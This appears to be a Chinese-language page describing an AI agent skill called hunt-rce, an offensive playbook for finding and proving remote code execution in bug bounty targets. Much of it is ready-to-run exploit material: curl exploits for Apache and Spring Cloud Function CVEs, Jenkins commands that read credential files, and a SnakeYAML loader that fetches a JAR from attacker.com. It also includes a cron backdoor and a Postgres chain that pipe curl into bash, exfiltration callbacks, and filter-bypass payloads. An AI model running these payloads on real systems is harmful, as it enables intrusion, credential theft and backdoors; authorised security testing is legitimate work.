关于 hunt-rce
hunt-rce 是用于发现和验证 Web 应用及基础设施中远程代码执行路径的安全测试技能。它为漏洞赏金研究人员提供结构化流程、攻击面线索、检测探测和验证方法。
主要功能
- 01执行上下文梳理
- 02管理界面侦察
- 03模板与解析器注入检查
- 04依赖混淆测试
- 05带外 RCE 验证
- 06权限链评估
适用场景
- 01检查管理控制台中的注入风险
- 02测试 YAML 和 XML 处理端点
- 03调查暴露的软件包注册表
- 04在漏洞赏金测试中验证盲执行
安装
复制下面的命令,在终端中运行。
npx skills add https:/ / github.com/ uphiago/ recon-skills --skill hunt-rce安装后在 Claude Code 中输入/hunt-rce确认已加载。
详细介绍
适用场景
当目标存在任何通过执行层处理用户可控输入的端点时使用,例如模板引擎、Shell 命令、YAML/XML 解析器、操作中使用的文件路径、包解析或配置文件。RCE 是收益最高的漏洞类别,因为它能直接控制目标基础设施上的执行。每个管理/管理控制台、模板/预览端点、上传处理器、反序列化入口和依赖解析器都可能成为目标。价值最高的目标:企业服务器产品(GHES、自托管 GitLab)、供应链/包注册表、云原生基础设施,以及管理/管理控制台。
核心目标
RCE 漏洞在漏洞赏金计划中通常能获得最高奖金,因为它们能让攻击者直接控制目标基础设施上的执行。价值最高的目标包括:
奖金最高的资产类型:
- 企业服务器产品(GitHub Enterprise Server、自托管 GitLab)——从低权限控制台角色到 root SSH 访问权限的提权链,通常能获得严重/高危评级
- 供应链/包注册表——针对 npm、PyPI 等的依赖混淆攻击,在每个主要计划中都达到严重级别
- 云原生基础设施——暴露的 Kubernetes API 服务器、入口控制器和配置错误的 CI/CD 流水线
- 移动应用后端和 OAuth 流程——服务器端对攻击者可控数据的处理涉及执行上下文的场景
- 管理/管理控制台——配置面板中的模板注入可通过单个载荷获得 root 权限
此类漏洞奖金最高的原因:
- 影响范围覆盖整个基础设施,而非仅限于用户
- 概念验证明确无误——Shell 输出不容置疑
- 修复需要架构层面的变更,而不仅仅是打补丁
- 计划无法承担漏报 RCE 的风险
攻击面信号
URL 模式
/management-console/*
/admin/settings/*
/api/v*/exec
/api/v*/run
/webhook/*
/_internal/*
/import?url=
/render?template=
/preview?format=
响应头 / 技术栈信号
X-Powered-By: Express # Node.js — npm dependency surface
X-Powered-By: Phusion Passenger
Server: nginx (ingress-nginx) # Kubernetes ingress — path field injection
X-Runtime: Ruby # Rails ActiveStorage, RDoc, REXML attack surface
Content-Type: application/yaml # YAML parsers (SnakeYAML, Psych) — deserialization
X-GitHub-Enterprise-Version # GHAS — nomad template, collectd, syslog-ng injection
JavaScript / 前端信号
// Look for these patterns in JS bundles
fetch('/api/exec', {method:'POST', body: cmd})
eval(userInput)
new Function(userInput)
document.write(unsafeData)
window.location = userControlled // URL scheme bypass → JS execution
技术栈信号
| 信号 | RCE 攻击途径 |
|---|---|
配置界面中的 nomad | 模板注入 → {{ ... }} |
可编辑的 syslog-ng 配置 | 配置注入 → program() 目标 |
可编辑的 collectd 配置 | 插件执行注入 |
类路径中存在 SnakeYAML | !!javax.script.ScriptEngineManager [...] |
npm package.json 中存在内部作用域 | 依赖混淆 |
| ingress-nginx 注解 | 路径字段正则表达式绕过 |
分步狩猎方法
-
先梳理执行上下文。 在测试负载之前,找出所有用户可控输入会触及执行层的位置:模板引擎、Shell 命令、YAML 解析器、操作中使用的文件路径、包解析,以及配置文件。
-
枚举管理/控制界面。 爬取
/management-console、/admin、/_internal、/setup、/config。这些界面的认证门槛较低、权限较高——GHES 集群仅凭一个控制台角色就产生了 6 个独立的 RCE。 -
检查每个配置字段中的模板注入。 在任何接受自由格式配置的管理 UI 中(日志目标、通知格式、代理设置),提交
{{7*7}}、${7*7}、<%= 7*7 %>。检查响应、日志或 DNS 回连中是否出现49。 -
测试 YAML/XML/序列化输入是否可执行代码。 对任何接受
Content-Type: application/yaml或application/xml的端点:- SnakeYAML:提交
!!javax.script.ScriptEngineManagergadget - Ruby YAML:提交
!ruby/object:Gem::Installergadget - REXML:提交 billion-laughs/二次复杂度膨胀 XML
- SnakeYAML:提交
-
搜寻依赖混淆。 对于 JS 包、错误消息或公开仓库中的
package.json可见的每个 npm/pip/gem 内部包名,在公共注册表上注册一个版本号更高、指向 canary 回调的包。 -
检查文件路径操作是否存在路径遍历 → 执行。 ActiveStorage、文件上传处理器、符号链接操作:将
../../../etc/cron.d/shell作为文件名提交。确认写入成功,然后触发执行。 -
审计 Kubernetes/云原生界面。 对任何暴露的 API 服务器运行
kubectl。检查 ingress 注释,尤其是nginx.ingress.kubernetes.io/configuration-snippet和spec.rules.http.paths.path是否存在 Lua/正则注入。 -
测试 OAuth 重定向 URI 和 URL 方案处理器。 通过 OAuth 重定向处理
javascript:或intent://URI 的移动应用可能会执行 JavaScript。尝试javascript:alert(document.cookie)和自定义方案 URI。 -
通过带外回调验证。 绝不能只依赖可见输出。使用 Burp Collaborator、interactsh 或
canarytokens.orgDNS 令牌。后端处理器中常见盲 RCE。 -
串联权限。 低严重性配置错误(编辑者角色、CSRF、路径遍历)与 RCE 原语相结合,就会达到严重级别。始终要问:“我从这里可以触及什么?”
负载与检测模式
模板注入探测
# Generic polyglot — works across Jinja2, Twig, Freemarker, Pebble, Velocity
{{7*7}}${7*7}#{7*7}<%= 7*7 %>*{7*7}
{{'7'*7}}
{{config}}
{{self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read()}}
# Nomad template injection (Go text/template)
{{ env "NOMAD_SECRET_ID" }}
{{ with secret "secret/data/prod" }}{{ .Data.password }}{{ end }}
{{ runscript "id" }}
Apache HTTP Server 别名路径遍历(CVE-2021-41773 / CVE-2021-42013)
Apache 2.4.49 中的路径规范化漏洞(以及 2.4.50 的补丁绕过问题)允许攻击者通过配置的别名路径,利用点编码片段逃逸 DocumentRoot。根据接受路径遍历的别名不同,同一原语会造成截然不同的影响:
- 不含
Options +ExecCGI的别名(例如/icons/)→ 仅可任意读取文件 - 含
Options +ExecCGI的别名(例如/cgi-bin/)→ 可任意执行代码
版本指纹:
curl --max-time 30 --connect-timeout 10 -sI http://target/ | grep -i "Server:"
# Vulnerable: Apache/2.4.49 (CVE-2021-41773) or Apache/2.4.50 (CVE-2021-42013)
# Patched: Apache/2.4.51+
文件读取测试(任意别名):
curl --max-time 30 --connect-timeout 10 --path-as-is "http://target/icons/.%2e/.%2e/.%2e/.%2e/etc/passwd"
# Note: --path-as-is is REQUIRED — curl normalizes %2e by default
RCE 测试(仅限启用 cgi 的别名):
curl --max-time 30 --connect-timeout 10 --path-as-is -X POST \
-d "echo Content-Type: text/plain; echo; id; uname -a; hostname" \
"http://target/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh"
分流纪律说明: 当同一个路径遍历原语在多个别名上都有效,但只有一个启用了 CGI 时,严重性应按最大影响判定,而不是取平均值。在 /icons/ 上发现“文件读取”问题后,应始终通过重新探测 /cgi-bin/(以及服务器信息泄露或响应模式中 <Directory> 块可见的任何其他别名)提升其严重性。参见 triage-validation Pre-Severity Gate。
Spring Cloud Function SpEL 注入(CVE-2022-22963)
Spring Cloud Function ≤ 3.2.2(以及 ≤ 3.1.6)会在 /functionRouter 端点上未经身份验证地将 spring.cloud.function.routing-expression 标头作为 SpEL 表达式求值,并且此操作发生在任何路由逻辑之前。该组件广泛部署于 AWS Lambda、Cloud Run 和本地函数平台。由于 /functionRouter 会自动注册,开发者又不会添加显式的访问控制,因此它通常会暴露在外网。
检测:
- 使用 Spring 风格的 8080 端口,且
/uppercase、/lowercase或任意单词函数端点会响应 200 - 使用
curl --max-time 30 --connect-timeout 10 -s http://target:8080/uppercase -H "Content-Type: text/plain" --data-binary "test"确认 → 返回TEST - 通过
/actuator/info或响应标头获取版本横幅
利用:
curl --max-time 30 --connect-timeout 10 -X POST http://target:8080/functionRouter \
-H "Content-Type: text/plain" \
-H 'spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec(new String[]{"id"})' \
--data "x"
当 SpEL 标头包含括号或引号时,new String[]{"...", "..."} 数组形式可以避免 shell 引号问题,而这些问题会导致更常见的 .exec("id") 形式失效。
**适用范围:**任何将用户输入传入 SpelExpressionParser.parseExpression() 调用的 Spring 应用,尤其是通过绕过常规身份验证过滤器的标头/查询参数路由传入时。有关更全面的 SpEL 指纹识别,请参阅 hunt-ssti(*{7*7} = Spring Thymeleaf)。
SnakeYAML RCE 利用链
!!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [[
!!java.net.URL ["http://attacker.com/exploit.jar"]
]]
]
Ruby YAML / rdoc_options RCE
--- !ruby/object:Gem::Installer
i: x
依赖混淆检测
# Find internal package names
grep -r '"name"' node_modules/ | grep '@internal\|@company\|@private'
# Check if public registry has higher version
npm view @target-company/internal-package version 2>/dev/null
Ingress-nginx 路径注入
# In spec.rules.http.paths.path
/something)(;.*);#
# Results in nginx config injection
Kubernetes 暴露的 API 检查
curl --max-time 30 --connect-timeout 10 -sk https://TARGET:6443/api/v1/namespaces/default/pods \
-H "Authorization: Bearer $(cat /var/run/secrets/kubernetes.io/serviceaccount/token)"
kubectl --insecure-skip-tls-verify -s https://TARGET:6443 get pods --all-namespaces
带外 RCE 确认
# Payload to confirm blind RCE via DNS
curl --max-time 30 --connect-timeout 10 "http://$(id | base64).YOUR-INTERACTSH-URL/"
nslookup $(whoami).attacker.com
wget http://attacker.com/$(cat /etc/hostname)
ActiveStorage 路径遍历 → RCE
# Filename in upload request
filename="../../../../etc/cron.d/backdoor"
# Cron payload content
* * * * * root curl http://attacker.com/shell | bash
Args4j @ 前缀文件扩展(Jenkins CVE-2024-23897 系列)
基于 args4j 库构建的 Java CLI 默认启用 expandAtFiles=true,会读取 @filename 参数所指的文件,并将每行作为单独的命令参数处理。当此类 CLI 通过 HTTP 暴露时(Jenkins CLI 是典型案例),服务端错误消息会回显解析失败的参数,从而将参数回显变成任意文件读取原语。如果启用了“匿名读取访问”(新安装的 Jenkins 默认启用),则无需身份验证即可利用。
检测:
- 目标暴露了
/cli和/jnlpJars/jenkins-cli.jar(Jenkins 系列) - 或者:任何 CLI 源码使用 args4j 且未设置
expandAtFiles=false的 Java 应用
测试(Jenkins):
# Get the legit CLI jar from the target
curl --max-time 30 --connect-timeout 10 -sLO http://target:8080/jnlpJars/jenkins-cli.jar
# First line of file leaks via 'help' error
java -jar jenkins-cli.jar -s http://target:8080/ -http help 1 @/etc/passwd
# → ERROR: Too many arguments: root:x:0:0:root:/root:/bin/bash
# Full file leaks via 'connect-node' (every line returned as a "no such agent" error)
java -jar jenkins-cli.jar -s http://target:8080/ -http connect-node @/etc/passwd
# → All passwd lines echoed back
# Recon: env vars + JENKINS_HOME path
java -jar jenkins-cli.jar -s http://target:8080/ -http help 1 @/proc/self/environ
确认 JENKINS_HOME 后的核心文件:
/var/jenkins_home/secret.key— 已存储凭据的主加密密钥/var/jenkins_home/secrets/master.key— 用于派生加密密钥/var/jenkins_home/credentials.xml— 凭据存储(使用 secret.key 加密 — 配合离线 decrypttools 使用)/var/jenkins_home/users/*/config.xml— 每位用户的 API 令牌(通常未加密)/var/jenkins_home/jobs/*/config.xml— 可能直接包含 AWS 密钥、SSH 密钥和注册表令牌的流水线配置
**此模式不只适用于 Jenkins。**任何满足以下条件的 Java 服务:
- 集成 args4j(自 2010 年代以来,大多数企业级 Java CLI 都使用它)
- 通过 HTTP 暴露 CLI 处理程序(Jenkins、Hudson 分支、内部自定义工具)
- 将参数解析错误原样返回给客户端
→ 同样适用任意文件读取原语。通过 triage-validation 的可复现性门槛进行验证:至少在 2 条不同命令(例如 help 和 connect-node)上确认信息泄露,并核实响应中实际包含文件内容,而不只是通用的 500 错误。
源码审查用 Grep 模式
# Command injection sinks
grep -rn "exec\|system\|popen\|spawn\|eval\|subprocess" --include="*.rb" .
grep -rn "Runtime.exec\|ProcessBuilder\|ScriptEngine" --include="*.java" .
# Template engine instantiation
grep -rn "Mustache\|Handlebars\|nunjucks\|render_template\|Template\(" .
# Unsafe YAML load
grep -rn "yaml\.load\b\|YAML\.load\b" . # without Loader= argument
grep -rn "Yaml()\|new Yaml()" --include="*.java" .
常见根本原因
1. 配置即代码,但缺少充分的清理
管理员通过 Web UI 编辑配置文件(syslog-ng、collectd、nomad)。开发者认为管理员就是可信用户,因此会直接将字段值传入支持执行原语的配置文件(program() 目标、exec 插件、模板函数)。
2. 在特权上下文中使用模板引擎
系统配置渲染使用了 Go 的 text/template、Freemarker、Velocity 和 Twig。如果用户可控的字符串未经沙箱处理就传入这些引擎,就可能导致任意代码执行。
3. 依赖混淆/命名空间抢注 内部软件包发布到私有注册表时,未锁定公共注册表中的命名空间。构建系统默认优先使用公共注册表,或在私有注册表找不到软件包时回退到公共注册表。
4. 不安全地反序列化 YAML/XML
开发者在没有使用安全加载器的情况下调用 YAML.load(),或使用 new Yaml()(SnakeYAML)时未限制类型。Ruby 的 YAML.load 和 Java 的 SnakeYAML 默认都支持任意对象实例化。
5. 文件操作链中的路径遍历
接受用户输入的文件名后,未进行规范化就用于文件系统操作。Rails ActiveStorage、文件上传处理程序和 rdoc 生成器都信任 filename 参数。
6. 误以为低权限角色无法触及执行上下文 GHES 管理控制台允许“Editor”角色访问会触发 shell 执行的配置字段。开发者认为权限边界已在更高的架构层级建立。
7. 面向基础设施的字段缺少输入验证 Ingress/nginx 注解值、Kubernetes spec 字段和 webhook URL 都被当作不透明字符串处理,但下游处理程序(nginx 配置生成器、正则表达式引擎)会将它们解释为代码。
绕过技术
绕过:Shell 元字符过滤
# Blocked: ; | & ` $()
# Bypass using $IFS and encodings
cat${IFS}/etc/passwd
{cat,/etc/passwd}
$'\x63\x61\x74' /etc/passwd # hex encoding
$(printf '\x63\x61\x74') /etc/passwd
# Newline injection when semicolons blocked
payload=$'\ncurl attacker.com\n'
绕过:URL scheme 允许列表(已屏蔽 javascript:)
# Mobile apps often block javascript: but miss:
jAvAsCrIpT:alert(1) # case variation
javascript:alert(1) # HTML entity
javascript:void(alert(1)) # void wrapper
intent://attacker.com#Intent;scheme=javascript;...
data:text/html,<script>alert(1)</script>
绕过:YAML safe_load/类型限制
# If !!java.* is blocked, try legitimate classes with side effects
!!com.sun.rowset.JdbcRowSetImpl
dataSourceName: 'ldap://attacker.com/a'
autoCommit: true
# Or find allowlisted types with dangerous constructors
绕过:npm scope 限制
# If @company/* is monitored, look for unscoped internal names
# e.g., "internal-utils" instead of "@company/internal-utils"
# Public registries serve unscoped packages first
绕过:路径遍历过滤器
# Basic filter bypass
../ → ..%2F → %2e%2e%2f → ....//
# Double encoding
%252e%252e%252f
# Unicode normalization
..%c0%af (overlong UTF-8)
# Null byte (older systems)
../../etc/passwd%00.jpg
绕过:带输出过滤的模板注入
# If {{ }} is sanitized on output but not evaluation:
{% for x in range(1) %}{{ lipsum.__globals__.os.popen('id').read() }}{% endfor %}
# Blind — use DNS callback instead of output
{{ lipsum.__globals__.os.popen('nslookup $(id).attacker.com').read() }}
绕过:WAF 屏蔽 exec、system、popen
# Ruby
send(:system, "id")
method(:exec).call("id")
Kernel.send(:`, "id")
Object.const_get(:Kernel).system("id")
Gate 0 验证
编写报告前,请确认以下三点:
1. 攻击者现在能做什么?
你必须能够演示以下至少一项:执行 id/whoami 并捕获输出;从目标服务器向你控制的主机发起 DNS/HTTP 回连;向文件系统写入文件;或读取 /etc/passwd。“可能做得到”无法通过此关。
2. 受害者会失去什么? 明确说明具体影响:源代码泄露、凭据窃取(数据库、API 密钥、云 IAM)、横向移动至内部网络、下游用户遭遇供应链攻击、数据销毁。笼统地说“攻击者获得 RCE”无法通过此关——请指出面临风险的核心资产。
3. 能否从头开始在 10 分钟内复现? 提交前先写好复现步骤。如果所需内容超出:(a) 一个 Burp 请求、(b) 一个 payload 文件和 (c) 一个监听器,就请简化。如果复现需要特定的竞争条件、时序或临时状态,请记录确切条件。无法一次复现的分诊人员会降低报告等级或关闭报告。
真实影响案例
场景 A:管理控制台角色 → Root Shell(企业服务器)
攻击者在某个 GitHub Enterprise Server 实例上拥有权限较低的“管理控制台编辑者”账户,并发现 syslog-ng 配置界面接受自由格式的“目标”字段。攻击者注入了一个包含反向 Shell 命令的 program() 目标,导致以 root 身份运行的 syslog-ng 守护进程在收到日志时执行任意操作系统命令。在 collectd 的 exec 插件配置和 nomad 的作业模板渲染中,也独立发现了相同的攻击面——这些攻击面都可通过同一个编辑者角色访问。影响:完全攻陷托管组织全部源代码、机密和 CI/CD 流水线的企业 Git 服务器,取得 root 权限。
场景 B:依赖混淆 → 构建基础设施上的 RCE
一名研究人员通过检查目标 CDN 端点提供的 JavaScript bundle,以及属于某大型支付平台的公开 GitHub 仓库,枚举出内部 npm 包名。多个 @internal/* 作用域包被引用,但未在公共 npm 注册表中注册。研究人员发布了名称相同、版本号更高的包,其中包含一个会执行 canary 回调的 postinstall 脚本。数小时内,该回调便从多个属于目标 CI/CD 构建集群的 IP 地址触发,证实其构建基础设施上的每次 npm install 都会执行攻击者控制的代码。同一技术也成功攻击了一家网约车平台的内部工具。影响:在可访问生产部署凭据和签名密钥的构建服务器上执行任意代码。
场景 C:暴露的 Kubernetes API → 接管集群
一名研究人员在侦察目标的云基础设施时,发现一个可公开访问且 RBAC 权限过于宽松的 Kubernetes API 服务器(端口 6443)。研究人员利用默认服务账户令牌和未经身份验证的 API 调用枚举正在运行的 Pod,从 default 命名空间中获取机密(包括数据库凭据和第三方 API 密钥),并演示了生成具有 hostPID: true 的特权 Pod 的能力,从而能够完全攻陷节点。该 Kubernetes 集群管理着目标的核心生产服务。影响:访问所有存储的机密、部署恶意工作负载的能力,以及横向移动到集群中的每项服务。
攻击链与组合(高级漏洞挖掘)
2020—2026 年的 RCE 很少只涉及单一入口。每个现代 RCE 都由两部分组成:(1)一种原语,可将攻击者字节写入主机或反序列化管道;(2)一个执行小工具,用于解释这些字节。以下攻击链将六种高收益 RCE 模式拆解为其组成原语——每一步都可以单独测试,而真正带来收益的是整个攻击链。
攻击链 1 — SSRF + IMDSv1 + 泄露的 IAM 角色 → Lambda 调用 → 后端 RCE(Capital One 模式)
- A. 服务器端获取器(链接预览、图像代理、Webhook URL、PDF 生成器)中的 SSRF。通过 Burp Collaborator OOB 回调确认。
- B. 将 SSRF 指向 AWS IMDSv1 元数据:
http://[REDACTED_IP]/latest/meta-data/iam/security-credentials/<role>→ 返回临时 STS 凭据。 - C. 使用这些凭据运行
aws lambda invoke --function-name <internal-function>——Lambda 会运行服务器端代码,攻击者可通过函数的输入参数影响该代码。 - 影响: 在 Lambda 上下文中完全实现后端 RCE,并可进一步横向移动到该角色获准访问的其他资源(S3 / DynamoDB / RDS)。
- 真实案例: Capital One 2019 年事件——罚款 8,000 万美元,攻击者被判有罪。EC2 上 WAF 中的 SSRF → IMDSv1 → IAM 角色 → 通过 S3 同步导致 1.06 亿条记录泄露。交叉引用
hunt-ssrf披露报告引文 #6。
链 2 — SQLi + COPY FROM PROGRAM → 在 Postgres 主机上直接实现操作系统级 RCE
- A. 已确认 Postgres 后端存在 SQLi(布尔型/基于时间的注入可行;无需 UNION)。
- B. 数据库用户具有
pg_read_server_files或COPY权限(许多 AWS RDS / Google Cloud SQL 角色在存在“admin”数据库时默认拥有此权限)。 - C. 拼接查询:
'; COPY users FROM PROGRAM 'curl http://attacker/x.sh | bash'; --→ Postgres 通过/bin/sh -c <attacker command>启动子进程 → 以postgres用户身份实现 RCE。 - 影响: 以数据库用户身份实现 RCE;在托管 Postgres 上,该用户通常具有 IAM 凭证,并可直接访问其他 AWS 资源。
- 实际案例特征: 2020-2024 年间,多个由 Postgres 支撑的 SaaS 应用在 H1 上披露了此类问题。交叉参考
hunt-sqli已披露报告引用 #12,以及有关FILE/xp_cmdshell权限的根因讨论。
链 3 — 图片上传 + 文件名中的路径遍历 + MIME 配置错误 → Webshell
- A. 文件上传接口接受图片(
image/png、image/jpeg)。服务器使用用户提供的文件名保存文件,或只验证 Content-Type,不验证实际内容。 - B. 上传带有正确图片魔数(
GIF89a后接 PHP 代码)的.aspx/.jsp/.php文件,并使用包含../的文件名,将文件写入上传目录之外的 Web 根目录(../../../public/webshell.php)。 - C. 请求
https://target/webshell.php?cmd=id— 即使扩展名策略禁止此操作,服务器的 PHP/ASP.NET 处理程序仍会执行脚本,因为该路径未经过上传目录过滤器。 - 影响: 未经身份验证或权限较低的攻击者可在应用服务器上获取 Webshell,并拥有 Web 服务器进程的权限。
- 实际案例特征: 多个已披露的 H1 案例涉及旧版上传处理程序;这是 2020 年之前常见的 RCE 类型。可结合
hunt-file-upload(上传绕过表)和hunt-misc路径遍历模式使用。
链 4 — 原型污染 + Lodash/Mongoose Gadget 链 → child_process.spawn → Node RCE
- A. 找出原型污染入口 — 接收攻击者 JSON 的 JSON 合并、Object.assign、lodash
_.merge或 NodeObject.create链。 - B. 将
Object.prototype.shell污染为true,或将Object.prototype.env.NODE_OPTIONS污染为--require ./malicious.js。被污染的原型会传递到下游的child_process.spawn或vm.runInThisContext。 - C. 入口使用攻击者控制的 shell/env 执行 → 攻击者代码在 Node.js 进程上下文中运行,可完全访问环境变量、AWS 元数据和内部服务。
- 影响: 通过 JSON POST 实现服务器端 JS 执行。在使用
body-parser+lodash.merge合并配置的 Express 应用中很常见。 - 实际案例特征:
lodash.mergeCVE-2018-16487、CVE-2019-10744、CVE-2020-8203;mongooseCVE-2024-53900(交叉参考hunt-sqli已披露报告引用 #10 — 同一 Gadget 家族可通过 Mongo$where而非进程实现攻击)。
链 5 — 未加密的 ViewState + 恢复的 MachineKey → ASP.NET 反序列化 → RCE(ToolShell 类)
- A. 找出一个
__VIEWSTATEENCRYPTED=""的 ASP.NET 端点(ViewState 已签名,但未加密)。通过 Burp / curl 在包含表单的页面上确认。 - B. 恢复
<machineKey>validationKey——通过配置泄露(/web.config可访问)、接管使用相同密钥的兄弟应用子域,或通过 CVE-2025-53771 ToolShell 漏洞利用链从 Subscription Edition 中窃取密钥。 - C. 使用
ysoserial.net --plugin=ViewState --validationkey=<key>和TypeConfuseDelegate/WindowsIdentity负载伪造 ViewState。将其提交到该端点。ASP.NET 会将其反序列化为以Process.Start结尾的方法调用 gadget 链 → 以工作进程身份实现 RCE。 - 影响: 在 IIS Web 前端上完全实现 RCE,权限取决于 AppPool 身份所授予的权限——通常是
NETWORK SERVICE(可访问 SharePoint 场账户)或更高权限。 - 真实案例: CVE-2025-53770 / 53771 ToolShell(2025 年 7 月紧急公告);SP2013 因 EoL 未打补丁而暴露。交叉引用
hunt-sharepointToolShell 前置条件链,以及hunt-aspnetViewState 双解析器反模式。
链 6 — XXE + PHP expect:// 流包装器 → 旧版 PHP 上的直接 RCE
- A. 通过 OOB DTD 回调确认 XXE(
<!ENTITY % x SYSTEM "http://attacker/dtd">)。 - B. 目标运行启用了
expect扩展的 PHP(2026 年已很少见,但仍存在于旧版主机和部分共享主机提供商上)。 - C. 发送
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "expect://id">]><foo>&xxe;</foo>——PHP 的流包装器通过 expect 执行id→ 输出通过实体展开或 OOB 返回。 - 影响: 以 PHP / Web 服务器用户身份实现 RCE,无需单独的上传或 SQLi 原语。
- 真实案例: Rockstar Games 徽章编辑器 XXE H1 #347139(2018 年,$1,500);Adobe Commerce CosmicSting CVE-2024-34102(XXE → 通过加密密钥窃取实现 RCE)。交叉引用
hunt-xxe已披露报告引用 #7 和 #10。
操作者层面的模式
每条现代 RCE 链都分为两部分:字节到达目标(SSRF、SQLi、上传、原型污染、ViewState、XXE),以及字节被解释执行(lambda 调用、COPY PROGRAM、webshell 处理程序、child_process.spawn、反序列化 gadget、expect://)。搜寻第一部分;第二部分通常是以上六种之一。如果你的第一部分原语无法与其中任何一种组合——提交前请暂停。“可能导致 RCE”属于低 / 中危;“已端到端证明 RCE”属于严重。
交叉引用:
hunt-ssrf— 链 1hunt-sqli— 链 2hunt-file-upload— 链 3hunt-api-misconfig(原型污染)— 链 4hunt-sharepoint+hunt-aspnet— 链 5hunt-xxe— 链 6hunt-deserialization— YAML/XML/Ruby/Java 反序列化是通往 RCE 的并行路径。链原语:SnakeYAML!!javax.script.ScriptEngineManagergadget 搭配攻击者托管的 JAR → 在任何处理 YAML 的 Java 服务上实现 RCE;Python pickle__reduce__→ 在任何反序列化攻击者字节的 Python 服务上实现 RCE。
验证
运行此自测以确认已准备好搜寻 RCE:
-
技能完整性 — 确认技能文件可读取且格式正确:
grep -q "name: hunt-rce" SKILL.md && echo "PASS: skill frontmatter present" || echo "FAIL" grep -q "revision_date:" SKILL.md && echo "PASS: revision date present" || echo "FAIL" -
类别检查 — 确认技能包含类别:
grep -q "category:" SKILL.md && echo "PASS: category present" || echo "FAIL" -
陷阱章节 — 确认已记录陷阱:
grep -q "^## Pitfalls" SKILL.md && echo "PASS: pitfalls section present" || echo "FAIL"
全部 3 项测试均通过,即可确认技能结构正确,可以使用。
常见陷阱
- 非生产环境中的命令注入 —
; id返回用户名并不意味着存在 RCE,除非你能将其升级为任意命令执行。 - 对部分受控输入使用 eval/exec — 如果只有部分输入会传入 eval,利用难度可能更高。请说明你能控制哪些内容。
- 未经确认的 OOB RCE — 在盲 RCE 中,
curl attacker.com能证明命令执行。仅有 DNS 回连的证据较弱。 - 没有 gadget chain 的反序列化 RCE —
ysoserial URLDNS能证明存在反序列化,但不能证明存在 RCE。需要 Runtime.exec gadget。 - 未实现代码执行的模板注入 —
{{7*7}}返回 49 能证明存在 SSTI。要达到 RCE 严重程度,还需将其升级为实际代码执行。
相关技能与利用链
hunt-ssti— 命中eval()/exec()/os.system()的模板引擎,可能让 RCE 隐藏在渲染调用之后。利用链示例:Jinja2 的{{config.__class__.__init__.__globals__['os'].popen('id').read()}}在邮件模板预览中回显 → 未经身份验证即可获得以工作进程身份运行的 RCE。hunt-file-upload— 当上传目录可通过 Web 访问、文件会由反序列化器处理,或会被.htaccess/web.config加载时,文件写入原语可升级为 RCE。利用链示例:SVG/PHP 多态文件绕过 MIME 检查 → 直接执行GET /uploads/shell.php?cmd=id→ RCE;或使用带有phar://流包装器的 DOCX → PHP 对象反序列化 → RCE。hunt-ssrf— 当 RCE 原语位于仅限内部访问的端点(管理控制台、内部 Redis、Jenkins 脚本控制台)时,可通过 SSRF 触发。利用链示例:外部 SSRF →http://127.0.0.1:8080/manage/scriptText(Jenkins/Tomcat)→ GroovyRuntime.exec→ RCE;或 SSRF →gopher://redis:6379写入 crontab → RCE。hunt-aspnet— ASP.NET ViewState 反序列化是一个庞大的 RCE 类别,入口是已知的__VIEWSTATE参数。利用链示例:恢复 machineKey(或从web.config信息泄露中获取<machineKey>)→ysoserial.net -p ViewState -g TypeConfuseDelegate→ 以IIS APPPOOL\<name>身份运行的 RCE。security-arsenal— 一旦发现接收序列化字节的汇点,就应使用反序列化载荷树(ysoserial Java gadget chain、用于 .NET ViewState/BinaryFormatter 的 ysoserial.net、Python pickle__reduce__、Ruby Marshal、PHPphar://元数据、Nodenode-serializeIIFE)。triage-validation— 在声称存在 Critical 问题之前,先通过严重性预检关卡。最终发现只能写入文件、没有执行路径的“盲 RCE”并非 RCE;无法访问os的沙箱化 eval,最多属于 Medium SSTI。在撰写报告前,使用唯一标记证明whoami/OOB DNS 回连。